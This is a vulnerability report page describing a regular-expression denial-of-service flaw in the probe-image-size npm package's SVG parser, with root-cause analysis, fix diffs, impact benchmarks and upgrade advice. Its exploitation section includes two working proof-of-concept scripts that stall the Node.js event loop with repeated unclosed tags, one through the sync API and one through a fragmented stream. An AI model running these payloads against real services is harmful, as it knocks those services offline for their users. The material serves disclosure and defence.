CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-104861

CVE-2026-104861: Quadratic-time Regular Expression Denial of Service in probe-image-size SVG Parser

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 3, 2026·9 min read·11 visits

Executive Summary (TL;DR)

Unauthenticated remote attackers can cause complete CPU exhaustion and Denial of Service in Node.js applications using probe-image-size by supplying malformed SVG streams with unclosed opening brackets.

An uncontrolled resource consumption vulnerability (CWE-1333 / CWE-400) exists in probe-image-size versions prior to 7.4.0. The SVG parser utilizes an unanchored, inefficient regular expression to find the SVG root tag, leading to catastrophic backtracking when handling malformed payloads. This blocks the single-threaded Node.js event loop, resulting in a complete denial of service.

Vulnerability Overview

The npm package probe-image-size is a widely utilized Node.js library designed to extract image metadata, such as dimensions and MIME types, directly from localized files or remote network streams. To optimize performance and conserve network bandwidth, the library parses only the initial byte segments of incoming image payloads rather than downloading or reading the entire file. This model exposes the library to untrusted input sources, making it a critical component of the attack surface in applications that validate uploads, proxy image requests, or generate link previews.\n\nPrior to version 7.4.0, the library exposed an uncontrolled resource consumption vulnerability (classified as CWE-1333 and CWE-400) within its SVG file parser. The parsing engine scanned incoming data streams to locate and evaluate the root <svg> element using an inefficient, unanchored regular expression. An attacker can leverage this parsing logic to transmit a highly dense, malformed payload that forces the underlying engine into a state of catastrophic backtracking.\n\nBecause the runtime environment of Node.js relies on a single-threaded event loop, any synchronous operations that require excessive computation directly stall the entire runtime instance. This structural behavior escalates a localized parsing inefficiency into a complete application-wide Denial of Service. In public-facing architectures processing user-supplied image assets, a small set of concurrent malformed payloads can disable the hosting web service completely.

Root Cause Analysis

The core of the vulnerability lies within the matching characteristics of the regular expression defined in both lib/parse_sync/svg.js and lib/parse_stream/svg.js:\n\njavascript\nvar SVG_HEADER_RE = /<[-_.:a-zA-Z0-9][^>]*>/\n\n\nThis regular expression fails to enforce structural anchors, meaning it lacks positional markers like ^ (start of string) or $ (end of string). Consequently, if the engine fails to locate a match starting at index 0, it shifts the parsing index incrementially forward to attempt the evaluation sequence at every possible starting index of the input buffer. Combined with the negated character class [^>]*, this creates a quadratic complexity bottleneck ($O(N^2)$) when evaluated against specifically structured, non-matching inputs.\n\nWhen a malformed sequence consisting of repeating open-brackets followed by valid tag characters (e.g., <a<a<a<a...) is evaluated, the matching algorithm operates as follows:\n\n1. The engine detects the opening bracket < and matches the subsequent alpha character a against the tag-name pattern.\n2. The engine evaluates the greedy quantifier [^>]* by scanning the remaining characters in the buffer, looking for a closing >.\n3. Upon reaching the end of the input string without encountering a > character, the match attempt fails.\n4. Because the pattern is unanchored, the engine backtracks to index 1, shifts the starting window to the next <a occurrence, and repeats the entire greedy scanning process to the end of the buffer.\n\nmermaid\ngraph LR\n A["Input: <a<a<a"] --> B["Match 1: Scan index 0 to end (Fail)"]\n B --> C["Backtrack: Shift index to 2"]\n C --> D["Match 2: Scan index 2 to end (Fail)"]\n D --> E["Backtrack: Shift index to 4"]\n E --> F["Match 3: Scan index 4 to end (Fail)"]\n\n\nAdditionally, the streaming parser in version prior to 7.4.0 contained a compounding architectural defect. Although the library capped accumulated data at 64 KB (MAX_DATA_LENGTH = 65536), it executed parseSvg(str) over the full accumulated buffer on every new incoming chunk. If an attacker delivers a 64 KB payload over highly fragmented TCP streams (e.g., writing 1 byte per chunk), the engine runs the $O(N^2)$ regular expression evaluation $65,536$ times. The overall execution cost escalates to $O(\text{chunks} \times N^2)$, amplifying the processing overhead and rendering the buffer limits useless.

Code Analysis

To eliminate the backtracking state-space explosion, the maintainers separated the SVG parsing logic into a shared helper module and converted the regex queries to run deterministically. The critical fix, delivered in commit 60cc96ac0b671e79e328213d0a8e831312b09e84, replaces the unanchored matches with anchored patterns evaluated at static offsets.\n\nThe following code diff illustrates the implementation of these anchored patterns within the new shared module lib/common/svg_header.js:\n\njavascript\n// All regexps below are anchored (`^`) and applied at a known offset,\n// so the engine never rescans the input from every position.\nvar attr_name = '[a-zA-Z_:][a-zA-Z0-9:._-]*'\nvar unquoted = '[^"\\'\\x00-\\x20]+'\nvar single_quoted = "'[^']*'"\nvar double_quoted = '"[^"]*"'\n\nvar attr_value = '(?:' + unquoted + '|' + single_quoted + '|' + double_quoted + ')'\nvar attribute = '(?:\\\\s+' + attr_name + '(?:\\\\s*=\\\\s*' + attr_value + ')?)'\n\nvar pi = '<[?][\\\\s\\\\S]*?[?]>' \nvar comment = '<!--(?:[^-]|-[^-]|--[^>])*-->'\nvar cdata = '<!\\\\[CDATA\\\\[[\\\\s\\\\S]*?\\\\]\\\\]>'\nvar doctype = '<![A-Za-z][^[>]*(?:\\\\[[\\\\s\\\\S]*?\\\\][^>]*)?>'\n\n// Alternatives here have disjoint prefixes, ensuring deterministic repetition\nvar PROLOG_RE = new RegExp('^(?:\\\\s+|' + pi + '|' + comment + '|' + cdata + '|' + doctype + ')*')\nvar ROOT_RE = new RegExp('^<(' + attr_name + ')(' + attribute + '*)\\\\s*/?>')\n\n\nBy ensuring that PROLOG_RE and ROOT_RE are anchored with ^, the regular expression engine evaluates the input strictly from the beginning of the string or at explicit slice indexes (str.slice(prolog.length)). The disjoint prefixes (such as comments <!--, processing instructions <?, or whitespace \\s) restrict the state transition space to a single deterministic path, enforcing $O(N)$ linear complexity.\n\nFurthermore, commit c032aefabdecf5cb50548ab9ba175db56353078f lowered the maximum input boundary limit from 64 KB down to 10 KB (MAX_DATA_LENGTH = 10240), as demonstrated in the following diff from lib/parse_sync/svg.js:\n\ndiff\n+var MAX_DATA_LENGTH = 10240\n...\n- for (var i = 0; i < data.length; i++) {\n+ var max = Math.min(data.length, MAX_DATA_LENGTH)\n+ for (var i = 0; i < max; i++) {\n\n\nBy capping the input processing size, the absolute maximum iterations are strictly bounded, preventing even mild performance regression on larger files.

Exploitation & Attack Methodology

Exploitation of this vulnerability does not require authentication or specific environment conditions. The only requirement is that the targeted application exposes an endpoint that processes user-controlled images via the probe-image-size package. Common vector entry points include profile picture upload validators, preview generators, and file storage APIs.\n\nTo construct an exploit payload, an attacker generates a sequence of unclosed opening tag sequences, such as <a repeated thousands of times. Because the payload contains no closing > character, it forces the unanchored regex to traverse the entire length of the string repeatedly. This behavior is demonstrated in the synchronous exploit script:\n\njavascript\nconst probe = require('probe-image-size');\n\n// Generate a 200 KB payload containing only repeating unclosed tag sequences\nconst maliciousBuffer = Buffer.from('<a'.repeat(100000), 'latin1');\n\nconsole.log('Sending payload to synchronous parser...');\nprobe.sync(maliciousBuffer);\nconsole.log('Finished.'); // This statement will not be reached for nearly a minute\n\n\nIn scenarios where the target application utilizes the streaming API, an attacker can maximize CPU utilization by sending a smaller overall payload (e.g., 64 KB) fragmented into tiny chunks. By writing a few bytes per chunk, the attacker exploits the stream evaluation loop, forcing the server to evaluate the incomplete buffer repeatedly. The following proof-of-concept demonstrates the chunk fragmentation vector:\n\njavascript\nconst { Readable } = require('stream');\nconst probe = require('probe-image-size');\n\nasync function exploitStream() {\n const payload = Buffer.from('<a'.repeat(32768), 'latin1'); // 64 KB of data\n const chunks = [];\n \n // Segment the payload into highly fragmented 1 KB chunks\n for (let i = 0; i < payload.length; i += 1024) {\n chunks.push(payload.subarray(i, i + 1024));\n }\n\n console.log('Transmitting fragmented payload to streaming parser...');\n await probe(Readable.from(chunks));\n console.log('Stream processed.'); \n}\nexploitStream();\n\n\nWhen these payloads are processed, the execution thread is occupied with state transitions within the regex engine. No other requests can be handled by the affected process, causing immediate denial of service to all connected clients.

Security & Performance Impact

The security impact of CVE-2026-104861 is categorized as High with an assigned CVSS v3.1 score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). The attack vector is purely remote and requires no user interaction or elevated privileges, making it easily weaponizable in automated scanning and exploitation campaigns.\n\nThe unique architecture of Node.js amplifies the severity of this denial-of-service vulnerability. Since Node.js operates on a single-threaded execution model, CPU-bound tasks like regular expression backtracking block the event loop entirely. When the event loop is blocked, the server cannot register incoming TCP connections, process active database queries, or respond to HTTP requests. A single malicious request can render an entire server instance unresponsive.\n\nMaintainer benchmark evaluations confirm that CPU utilization increases quadratically with payload size and chunk frequency. These performance degradation measurements are detailed below:\n\n| API Method | Input Size (KB) | Stream Fragmentation | Execution Duration (Seconds) |\n| :--- | :--- | :--- | :--- |\n| probe.sync() | 25 | N/A (Single Buffer) | 0.9 |\n| probe.sync() | 50 | N/A (Single Buffer) | 5.5 |\n| probe.sync() | 100 | N/A (Single Buffer) | 18.0 |\n| probe.sync() | 200 | N/A (Single Buffer) | 54.0 |\n| probe(stream) | 64 | 1 Chunk | 1.6 |\n| probe(stream) | 64 | 4 Chunks | 2.9 |\n| probe(stream) | 64 | 16 Chunks | 9.6 |\n\nIn modern cloud architectures, unmitigated CPU exhaustion often triggers automatic scaling policies. Consequently, an ongoing attack can inflate infrastructure operational costs by forcing auto-scalers to spin up redundant, locked-up instances, resulting in significant financial impacts.

Remediation & Fix Completeness Assessment

The primary path for remediation is upgrading the probe-image-size dependency to version 7.4.0 or higher. This release integrates the anchored regex patterns and the lower boundary checks across both execution paths.\n\nTo execute the upgrade, modify your dependency definitions and run the package manager update commands:\n\nbash\nnpm install probe-image-size@latest\n# or\nyarn upgrade probe-image-size\n\n\nIf upgrading is delayed, apply temporary mitigations at the application gateway or WAF layer. Configure security policies to reject incoming images or files with an declared image/svg+xml MIME type if the payload size exceeds 10 KB. Alternatively, implement rate-limiting and connection timeouts on endpoints that handle remote image probing to prevent attackers from locking streaming connections.\n\nAn evaluation of the released fix confirms that the remediation is complete and robust against variant exploits. The implementation of a strict 10 KB buffer limit effectively mitigates any residual overhead from potential backtracking paths, as the engine never processes large enough strings to cause significant latency. Furthermore, the streaming parser's logic was modified in commit 60cc96ac0b671e79e328213d0a8e831312b09e84 to only trigger the parsing function when a closing bracket character (>) is actively detected within the incoming stream chunk:\n\njavascript\nif (chunk.indexOf(0x3e /* > */) !== -1) {\n var result = parseSvgHeader(str)\n ...\n}\n\n\nThis optimization prevents redundant execution on fragmented streams, successfully neutralizing the chunk fragmentation amplification vector. As a result, the parsing logic executes deterministically and safely under all conditions.

Official Patches

nodecaSVG parsing logic refactoring
nodecaInput size capping patch
nodecaWhitespace matching constraints

Fix Analysis (3)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.04%
Top 88% most exploited

Affected Systems

probe-image-size (npm package)

Affected Versions Detail

Product
Affected Versions
Fixed Version
probe-image-size
nodeca
< 7.4.07.4.0
AttributeDetail
CWE IDCWE-1333, CWE-400
Attack VectorNetwork (AV:N)
CVSS Severity Score7.5 (High)
EPSS Score0.00043
ImpactDenial of Service (DoS)
Exploit StatusProof of Concept Available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-1333
Inefficient Regular Expression Complexity

The product uses a regular expression that can require exponential or quadratic time to process certain inputs, leading to a denial of service.

Known Exploits & Detection

GitHub Security AdvisoryProof of concepts illustrating synchronous parser event loop blocking and streaming chunk amplification exploitation.

Vulnerability Timeline

Vulnerability identified and initial fix committed for input boundary caps.
2026-08-14
Whitespace regex limits committed to prevent arbitrary backtracking.
2026-08-15
GitHub Advisory published under identifier GHSA-gjj5-9665-rwrc.
2026-10-02
CVE-2026-104861 published and indexed in the National Vulnerability Database (NVD).
2026-10-02

References & Sources

  • [1]NVD Vulnerability Details
  • [2]CVE.org Authoritative Record
  • [3]GitHub Security Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 20 hours ago•CVE-2026-107844
5.3

CVE-2026-107844: Path Traversal Vulnerability in Contao ImagesController

A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.

Amit Schendel
Amit Schendel
8 views•5 min read
•about 22 hours ago•CVE-2026-107848
3.5

CVE-2026-107848: Cross-Site Request Forgery (CSRF) in Contao Backend Actions via GET Requests

Contao Open Source CMS versions 4.0.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 contain a Cross-Site Request Forgery (CSRF) vulnerability in backend parameter handling. The `RequestTokenListener` component validates anti-CSRF tokens solely for HTTP POST requests, while GET-based declarative guards run only when an `act` parameter is present in the query string. Consequently, custom backend actions dispatched via alternative parameters such as `key=` can execute without CSRF token verification when triggered by an authenticated user.

Amit Schendel
Amit Schendel
7 views•5 min read
•about 23 hours ago•CVE-2026-107843
5.3

CVE-2026-107843: Unthrottled Activation Email Resend and Account Enumeration in Contao CMS

Contao CMS versions 4.1.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 fail to validate form submission tokens and enforce rate limiting when processing activation email resend requests via HTTP POST, enabling resource exhaustion and account state enumeration.

Amit Schendel
Amit Schendel
8 views•4 min read
•1 day ago•CVE-2026-107842
5.3

CVE-2026-107842: Information Disclosure via Stale Indexing in Contao Search Module

An information disclosure vulnerability in Contao CMS allows unauthenticated site visitors to view protected page titles, URLs, and text excerpts through search queries when protected page indexing is disabled after previously being enabled.

Amit Schendel
Amit Schendel
9 views•4 min read
•1 day ago•GHSA-G38J-7V97-X298
6.5

GHSA-G38J-7V97-X298: Missing Authorization Check in Vikunja CalDAV Task Relation Creation

In Vikunja prior to version 2.6.0, relation creation via the CalDAV endpoint fails to invoke the TaskRelation.CanCreate authorization check. This missing access control allows an authenticated user to establish unauthorized relationships and perform write operations against any task, provided its unique identifier (UID) is known.

Alon Barad
Alon Barad
12 views•5 min read
•1 day ago•GHSA-3HC7-R24J-RPWC
6.8

GHSA-3hc7-r24j-rpwc: Cross-Project Task Disclosure via Subtask Expansion in Vikunja

A cross-project information disclosure vulnerability in Vikunja allows authenticated users with read access to one project to view private task details from unauthorized projects via subtask expansion parameters.

Alon Barad
Alon Barad
9 views•5 min read